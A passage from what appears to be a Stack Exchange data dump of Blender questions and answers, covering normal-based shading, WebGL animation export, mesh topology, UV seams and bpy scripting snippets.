replaceFile[&quot;fullname&quot;])&#xA;        else : #If the max backup amount hasn't been reached, and the folder isn't empty.&#xA;            #Then check for the next number, and then just move the file over with the correct number.&#xA;            replaceFile = &quot;&quot; #Location.&#xA;            for f in currentFiles :&#xA;                for c in range(1, int(file[&quot;backup_amount&quot;]) + 1) :&#xA;                    if not os.path.isfile(file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;] + &quot;\\&quot; + file[&quot;name&quot;] + file[&quot;extension&quot;] + str(c)) :&#xA;                        shutil.move(file[&quot;fullpath&quot;] + &quot;1&quot;, file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;] + &quot;\\&quot; + file[&quot;name&quot;] + file[&quot;extension&quot;] + str(c))&#xA;                        replaceFile = f&#xA;                        break&#xA;                if replaceFile != &quot;&quot; : #File to replace has been found, break out.&#xA;                    break&#xA;&#xA;&#xA;#This document is licensed according to GNU Global Public License v3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2459" LastEditorUserId="2459" LastEditDate="2014-02-14T14:05:13.807" LastActivityDate="2014-02-14T14:05:13.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7003" PostTypeId="1" AcceptedAnswerId="7011" CreationDate="2014-02-13T09:46:00.983" Score="3" ViewCount="4239" Body="&lt;p&gt;I would like to be able to render a model/scene using the standard renderer (not game mode) where the color of each face/polygon is determined by its world-space normal. For example, looking at a cube from an angle where I can see the +x/+y/+z faces should render the faces with colours (255, 127, 127) / (127, 255, 127) / (127, 127, 255) respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importantly, moving the camera slightly &lt;em&gt;should not&lt;/em&gt; change these colours (not screen-space normal based) and rotating the cube &lt;em&gt;should&lt;/em&gt; change the colours (not object-space normals).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to create the effect by following &lt;a href=&quot;http://en.wikibooks.org/wiki/GLSL_Programming/Blender/Minimal_Shader&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; and writing my own fragment shader, but can't figure out how to use it during a standard render. Likewise I have found the normal output mode for material nodes but this only gives screen-space information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not too picky about the method as long as it can be used to generate animations and be reasonably automated.&lt;/p&gt;&#xA;" OwnerUserId="2462" LastActivityDate="2014-02-13T21:28:45.523" Title="Color faces based on world space normal" Tags="&lt;rendering&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7004" PostTypeId="1" AcceptedAnswerId="7005" CreationDate="2014-02-13T10:02:07.790" Score="2" ViewCount="1608" Body="&lt;p&gt;I want to load and display this animation model in WebGL on web browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/yoamrp2peo80jeg/foldtwiceAnim.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kpbuj.jpg&quot; alt=&quot;foldTwiceAnimation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported a JSON file as skeletal animation with &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;an addon for three.js&lt;/a&gt;, and loaded it in WebGL, but it wasn't success.&#xA;I uploaded my &lt;a href=&quot;https://www.dropbox.com/s/e37pd73a7pmgdhc/skeletalTest.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;three.js code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I referenced &lt;a href=&quot;http://devmatrix.wordpress.com/2013/02/27/creating-skeletal-animation-in-blender-and-exporting-it-to-three-js/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this cite&lt;/a&gt;, but I couldn't understand well.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="29" LastEditDate="2014-12-22T11:52:53.860" LastActivityDate="2014-12-22T11:52:53.860" Title="How to display an skeletal animation in WebGL on web browser" Tags="&lt;animation&gt;&lt;three.js&gt;&lt;webgl&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7005" PostTypeId="2" ParentId="7004" CreationDate="2014-02-13T11:24:15.720" Score="1" Body="&lt;p&gt;You can try using the experimental feature for exporting morph/skeletal animation when using that addon. I think that's the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T17x5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-13T11:24:15.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7006" PostTypeId="2" ParentId="7003" CreationDate="2014-02-13T11:27:40.193" Score="3" Body="&lt;p&gt;One way to solve this is to place different colored lights far away from the center of your scene, one at each axis. Depending on whether you want other objects in the scene, this could be a very quick and simple solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution is to make a material with as many colors as you want. Each color should be mixed in with this as a factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dot product(world normal of mesh, vector where you want this color).&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-13T11:27:40.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7007" PostTypeId="1" CreationDate="2014-02-13T15:43:52.387" Score="2" ViewCount="537" Body="&lt;p&gt;Which is the better topology for swimsuit?&lt;br&gt;&#xA;Left or right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking right because legs might move around.&lt;br&gt;&#xA;But when i combine the meshes and sub-D them the left one looks better.&lt;br&gt;&#xA;What do you guys think?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i started with planes to draw the line of how the V of the shape is made.&lt;br&gt;&#xA;And from there i would build inwards. i also already make the center.&lt;br&gt;&#xA;But you always get in trouble at some point. xP&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it best practice to keep every square same size?&lt;br&gt;&#xA;cause sometimes i see people having way longer squares like i have at the edge.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(Was already answered with it being a choice not a fact)&lt;br&gt;&#xA;  &quot;Entirely depends on what you're doing. It can make certain things easier, like UV mapping (especially if you have to unwrap manually), and animated meshes will deform better (more predictably) if all the polys are the same size, but the renderer shouldn't care.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Its bottom part of swimsuit btw.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty so much everyone for all the tips.&lt;br&gt;&#xA;I am trying my best to make this edit the best ^^&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;3&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/bwBYBOy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2440" LastEditorUserId="2440" LastEditDate="2014-02-14T09:13:06.430" LastActivityDate="2014-02-14T09:13:06.430" Title="Which is the better Topology? Left or Right? - [With Image Reference]" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-14T00:41:57.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="7008" PostTypeId="1" AcceptedAnswerId="7015" CreationDate="2014-02-13T15:59:26.080" Score="4" ViewCount="2722" Body="&lt;p&gt;I have a cube where I am trying to move one UV edge that happens to be a seam. My understanding is that since the edge is marked as a seam, it should be separate from surrounding edges, but when I move the edge other vertices/edges move as well. Why does it do this? Specifically, since the edge is marked as a seem, shouldn't it be moving independently? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pco23.png&quot; alt=&quot;Initial Scene - Seam Edge is selected &quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iDmvc.png&quot; alt=&quot;After moving the Edge, another edge and two other vertices move as well?!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2465" LastEditorUserId="1653" LastEditDate="2014-02-13T19:41:58.360" LastActivityDate="2014-02-14T11:38:02.427" Title="Why do seam edges move together?" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7009" PostTypeId="1" CreationDate="2014-02-03T13:34:43.190" Score="1" ViewCount="575" Body="&lt;p&gt;Blender standard Outliner is not showing to much properties (left tree table). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option to view the Datafile is not optimize for quick view of the basic information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible to show the Location, Dimensions, Scale, Rotation and Custom properties of objects in table-view (right tree table made in Photoshop)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its possible, can you tell me witch Blender Outliner system file I have to rewrite (I am a Noobie at Python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WSAJi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3265950" LastEditorUserId="41" LastEditDate="2014-02-13T19:17:46.453" LastActivityDate="2014-02-13T19:17:46.453" Title="Blender Python Custom Outliner tableview" Tags="&lt;python&gt;&lt;customization&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7010" PostTypeId="2" ParentId="7009" CreationDate="2014-02-04T04:47:14.390" Score="1" Body="&lt;p&gt;The data shown in the outliner is filtered within blender's C code, the python code used to display it is rather minimal - &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_ui/space_outliner.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;view it here&lt;/a&gt;. Altering the display of the outliner will need to be implemented with C not python. &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/space_outliner/&quot; rel=&quot;nofollow noreferrer&quot;&gt;code is here&lt;/a&gt; if you want to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data you want displayed is available in the properties sidebar on the right of the 3dView (press &lt;kbd&gt;N&lt;/kbd&gt; to show/hide it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xdaCZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write an addon to show a customised version of this data, a sample to get you started --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    'name': 'sample info display',&#xA;    'author': 'Shane',&#xA;    'version': (1, 0),&#xA;    &quot;blender&quot;: (2, 6, 9),&#xA;    'location': 'View3D &amp;gt; Properties panel &amp;gt; Sample Info',&#xA;    'description': 'A simple panel for the 3D view properties panel to show stuff',&#xA;    &quot;wiki_url&quot;: &quot;&quot;\&#xA;        &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;\&#xA;        &quot;&quot;,&#xA;    'category': 'Properties'}&#xA;&#xA;&quot;&quot;&quot;&#xA;This script simply places some properties into the 3D view Properies panel.&#xA;&quot;&quot;&quot;&#xA;&#xA;import bpy&#xA;&#xA;class SamplePanel(bpy.types.Panel):&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    bl_label = &quot;Sample data&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        row = layout.row()&#xA;        row.column().prop(obj, &quot;location&quot;)&#xA;        row = layout.row()&#xA;        if obj.rotation_mode == 'QUATERNION':&#xA;            row.column().prop(obj, &quot;rotation_quaternion&quot;, text=&quot;Rotation&quot;)&#xA;        elif obj.rotation_mode == 'AXIS_ANGLE':&#xA;            row.column().prop(obj, &quot;rotation_axis_angle&quot;, text=&quot;Rotation&quot;)&#xA;        else:&#xA;            row.column().prop(obj, &quot;rotation_euler&quot;, text=&quot;Rotation&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SamplePanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SamplePanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-02-04T04:47:14.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7011" PostTypeId="2" ParentId="7003" CreationDate="2014-02-13T17:50:58.287" Score="10" Body="&lt;p&gt;You can do this in cycles using the &lt;em&gt;Vector Transform&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptImf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how the object is rotated, the faces facing a particular direction are always the same color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To map colors to the normals, you can use &lt;em&gt;Separate&lt;/em&gt; and &lt;em&gt;Combine RGB&lt;/em&gt; nodes to manipulate each channel individually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zmcL4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zmcL4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-13T21:28:45.523" LastActivityDate="2014-02-13T21:28:45.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7012" PostTypeId="2" ParentId="6984" CreationDate="2014-02-13T18:18:48.927" Score="3" Body="&lt;p&gt;Just want do add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to python &lt;a href=&quot;http://docs.python.org/3/library/functions.html#property&quot; rel=&quot;nofollow noreferrer&quot;&gt;properties&lt;/a&gt;, the properties from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.props.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.props&lt;/code&gt;&lt;/a&gt; basically provide setter/getter methods for custom properties which actually are items of an ID dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating such a property&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.test = bpy.props.IntProperty()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has no effect on an object until you assign a value to its &lt;code&gt;test&lt;/code&gt; attribute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.test = 4&#xA;#calls the default setter if not specified which sets the custom property&#xA;obj[&quot;test&quot;] = 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The getter method returns the default value if nothing has been set for this attribute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.test&#xA;#calls the default setter if not specified which either returns the custom property,&#xA;#if it exists, or the default value&#xA;if &quot;test&quot; in obj:&#xA;    return obj[&quot;test&quot;]&#xA;else:&#xA;    return default_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom properties will be saved to the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if i am wrong.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In this case:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#addon bl_info to be inserted here - see Templates -&amp;gt; Addon Add Object&#xA;import bpy&#xA;&#xA;def hndl_draw(self, context):&#xA;    row = self.layout.row()&#xA;    #if &quot;myColor&quot; in context.object.data:&#xA;    row.prop(context.object.data, &quot;myColor&quot;)&#xA;&#xA;def register():   &#xA;    bpy.types.Armature.myColor = bpy.props.FloatVectorProperty(&#xA;                                     name = &quot;myColor&quot;,&#xA;                                     subtype = &quot;COLOR&quot;,&#xA;                                     size = 4,&#xA;                                     min = 0.0,&#xA;                                     max = 1.0,&#xA;                                     default = (0.75,0.0,0.8,1.0)&#xA;                                     )&#xA;    bpy.types.DATA_PT_display.append(hndl_draw)&#xA;&#xA;def unregister():&#xA;    bpy.types.DATA_PT_display.remove(hndl_draw)&#xA;    del bpy.types.Armature.myColor&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For all armatures the specified default color will be displayed in &lt;em&gt;Properties Area&lt;/em&gt; -&gt; &lt;em&gt;Armature&lt;/em&gt; -&gt; &lt;em&gt;Display&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/65Qfi.png&quot; alt=&quot;ColorPicker&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't change the color no data will be added to the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hide this color picker for objects without the custom property &lt;code&gt;&quot;myColor&quot;&lt;/code&gt; by uncommenting the if-line. However you will have to set &lt;code&gt;obj.data[&quot;myColor&quot;] = (0.0,0.0,0.0,1.0)&lt;/code&gt; manually then (via console, script or UI).&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-13T20:26:35.497" LastActivityDate="2014-02-13T20:26:35.497" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7013" PostTypeId="2" ParentId="6451" CreationDate="2014-02-13T19:07:50.877" Score="2" Body="&lt;p&gt;BSDF surface shaders only works on 'real surfaces', i.e. faces that are part of a mesh.  Surfaces inside a volume created by change in density will not be treated or rendered with a BSDF surface shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image might be able to show you what I mean. The geometry has a volume shader and a glossy shader, driven by a checkered texture. Notice the shiny material is correctly applied only to the outside surface of the mesh. Interior surface boundaries remain non-glossy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxRBK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-02-13T23:40:58.790" LastActivityDate="2014-02-13T23:40:58.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7014" PostTypeId="2" ParentId="5001" CreationDate="2014-02-13T19:14:34.593" Score="1" Body="&lt;p&gt;There is no built-in functionality for that. However, You can setup a custom camera view matrix using a bit of Python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;scene = bge.logic.getCurrentScene()&#xA;cam = scene.active_camera&#xA;# get projection matrix&#xA;camatrix = cam.projection_matrix&#xA;#modifying the camera projection matrix by modifying the x and y terms of the 3rd row to obtain a shift of the rendered area &#xA;camatrix[2][0] = 2*shiftx&#xA;camatrix[2][1] = 2*shitfy&#xA;cam.projection_matrix = camatrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Camera#Camera_lens_shift&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for detail.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-13T19:14:34.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7015" PostTypeId="2" ParentId="7008" CreationDate="2014-02-13T19:35:57.613" Score="7" Body="&lt;p&gt;Make sure you have the &lt;code&gt;Edge&lt;/code&gt; Selection enabled (3 vertical line icon), as well as the &lt;code&gt;individual vertex&lt;/code&gt; selected (3 white dots).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19QDK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-13T19:35:57.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7016" PostTypeId="2" ParentId="7007" CreationDate="2014-02-13T19:36:53.540" Score="1" Body="&lt;p&gt;It &lt;strong&gt;entirely&lt;/strong&gt; depends on what you're making. Edge-flow is a well-studied science all its own, so there are some good articles out there about how to make those decisions, like &lt;a href=&quot;http://www.3dtotal.com/index_tutorial_detailed.php?id=495#.Uv0el_ldU9Y&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you ask if it's good practice to keep all the polys the same size. That also entirely depends on what you're doing. It can make certain things easier, like UV mapping (especially if you have to unwrap manually), and animated meshes will deform better (more predictably) if all the polys are the same size, but the renderer shouldn't care.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing you need to do here is merge the center line into one line. Other than that, we need more info about what problems you're facing and what you're trying to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-02-13T19:36:53.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7017" PostTypeId="1" CreationDate="2014-02-14T00:02:57.467" Score="3" ViewCount="458" Body="&lt;p&gt;Is it possible to do this in 2.6? I'm trying to dynamically create cameras. Looking around the API reference I found &lt;code&gt;KX_Camera&lt;/code&gt; and &lt;code&gt;Camera&lt;/code&gt;, but they have no constructors or factories, that work at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.4 it seems that you could do it, as I believe they have &lt;code&gt;.new()&lt;/code&gt; methods.&lt;/p&gt;&#xA;" OwnerUserId="2468" LastEditorUserId="599" LastEditDate="2014-02-14T00:09:45.147" LastActivityDate="2014-02-14T06:57:28.127" Title="Dynamically create camera in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7018" PostTypeId="1" CreationDate="2014-02-14T03:37:18.833" Score="1" ViewCount="852" Body="&lt;p&gt;I'm looking for tips on how to realistically model metal deformation in blender. I would like to have ability to &quot;fasten&quot; a metal plate with virtual &quot;screws&quot; on a frame. Then I want to simulate an impact of another object on this metal sheet and I want the sheet to deform and then eventually I want the imact object to break through the sheet like a metal beam breaking through a sheet of steel. Then I want the sheet to bend realistically while points where the screws are should hold longer and only let go at a certain point when the stress of the sheet becomes to big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to realistically simulate such a situation. If you can give an example using soft bodies then please specify the settings you are using. I have so far not been able to get what I want using soft bodies.&lt;/p&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2017-02-25T23:31:03.610" Title="Modelling metal deformation properly" Tags="&lt;physics&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7020" PostTypeId="1" AcceptedAnswerId="8593" CreationDate="2014-02-14T04:05:54.193" Score="8" ViewCount="5135" Body="&lt;p&gt;How can I write a script to create a NURBS surface with given control points?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a helpful piece of source code that got me here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;surfacedata = bpy.data.curves.new(name='test', type='SURFACE')&#xA;surfacedata.dimensions = '3D'&#xA;surfacedata.resolution_u = 4&#xA;surfacedata.resolution_v = 4&#xA;&#xA;objectdata = bpy.data.objects.new('obj_test', surfacedata)&#xA;objectdata.location = (0,0,0)&#xA;bpy.context.scene.objects.link(objectdata)&#xA;&#xA;nurbs_surface = surfacedata.splines.new('NURBS')&#xA;nurbs_surface.points.add(4)&#xA;nurbs_surface.points[0].co = (-1, -1,  0.25, 1)&#xA;nurbs_surface.points[1].co = (-1,  1, -0.25, 1)&#xA;nurbs_surface.points[2].co = ( 1, -1, -0.25, 1)&#xA;nurbs_surface.points[3].co = ( 1,  1,  0.25, 1)&#xA;nurbs_surface.order_u = 2&#xA;nurbs_surface.order_v = 2&#xA;nurbs_surface.use_endpoint_u = True&#xA;nurbs_surface.use_endpoint_v = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the object that this produces is just a 1D curve in space,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/S5xi8uh.png&quot; alt=&quot;test&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can check some of its properties from the python console,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(len(bpy.data.objects[2].data.splines[0].points))&#xA;5&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; print(bpy.data.objects[2].data.splines[0].point_count_u)&#xA;5&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; print(bpy.data.objects[2].data.splines[0].point_count_v)&#xA;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I'm not sure why points has 5 elements (instead of 4), and why&#xA;point_count_u and point_count_v are 5 and 1 instead of 2 and 2, respectively.&lt;/p&gt;&#xA;" OwnerUserId="2156" LastEditorUserId="2217" LastEditDate="2014-06-26T22:01:57.930" LastActivityDate="2021-05-17T02:14:40.740" Title="Create NURBS surface with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nurbs-surface&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7021" PostTypeId="1" AcceptedAnswerId="7027" CreationDate="2014-02-14T05:25:28.567" Score="2" ViewCount="549" Body="&lt;p&gt;i tried to use python pickle to dump a PropertyGroup to a file and try to restore it, but pickle can't dump the class and gives an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_pickle.PicklingError: Can't pickle &amp;lt;class '__main__.SI_type'&amp;gt;: attribute lookup&#xA; __main__.SI_type failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a way to dump a PropertyGroup to a file, or it's values then reconstruct the object on load, maybe?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;example with the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;&#xA;print(&quot;-&quot;*60)&#xA;&#xA;class MyPropertyGroup(bpy.types.PropertyGroup):&#xA;    name = StringProperty()&#xA;    index = IntProperty()&#xA;    value = FloatProperty()&#xA;&#xA;bpy.utils.register_class(MyPropertyGroup)&#xA;&#xA;class Mytype(bpy.types.PropertyGroup):&#xA;    lista = CollectionProperty(type=MyPropertyGroup)&#xA;    listaIndex = IntProperty(default=0)&#xA;&#xA;bpy.utils.register_class(Mytype)&#xA;bpy.types.Scene.Mytype = PointerProperty(type = Mytype)&#xA;&#xA;mytypes = bpy.context.scene.Mytype&#xA;&#xA;item = mytypes.lista.add()&#xA;item.name = 'foo'&#xA;item.index = 42&#xA;item.value = 3.1416&#xA;&#xA;dict_test = bpy.context.scene.Mytype[&quot;lista&quot;].to_dict()&#xA;#AttributeError: 'list' object has no attribute 'to_dict'&#xA;&#xA;import pickle&#xA;&#xA;bytes_test = pickle.dumps(dict_test)&#xA;&#xA;del mytypes[&quot;lista&quot;]&#xA;&#xA;dict_test = pickle.loads(bytes_test)&#xA;&#xA;mytypes[&quot;lista&quot;] = dict_test&#xA;&#xA;print(&#xA;    &quot;name: %s&quot;%mytypes[&quot;lista&quot;].test.name,&#xA;    &quot;index: %d&quot;%mytypes[&quot;lista&quot;].test.index,&#xA;    &quot;value: %f&quot;%mytypes[&quot;lista&quot;].test.value,&#xA;    sep=&quot;\n&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="428" LastEditorUserId="428" LastEditDate="2014-02-18T00:46:21.167" LastActivityDate="2014-02-18T00:46:21.167" Title="store PropertyGroup in an external file" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7022" PostTypeId="2" ParentId="7008" CreationDate="2014-02-14T06:41:13.053" Score="3" Body="&lt;p&gt;There are two modes for UV Editing.  One is called &lt;em&gt;Sync Selection&lt;/em&gt; and so far as I know, the other one has no name.  Sync Selection is just &lt;em&gt;off&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me they are &lt;em&gt;modes&lt;/em&gt; because they behave very differently.  Officially, they may just be considered the same mode with &lt;em&gt;Sync Selection&lt;/em&gt; either &lt;em&gt;On&lt;/em&gt; or &lt;em&gt;Off&lt;/em&gt;. &#xA; Anyways, to the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of the modes; you will have the problem as described.&#xA;When you select a vertex along a seam then you will also be selecting the other vertices which are on the 3D mesh at that point.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually, &lt;em&gt;UV seams&lt;/em&gt; are not spitting the vertices. &#xA;Seams are cutting up the image texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the image Mike Pan posted; there is an icon at the bottom left which shows &lt;em&gt;a cube, two vertices, and a cursor arrow&lt;/em&gt;.  That icon is how you change between modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the image 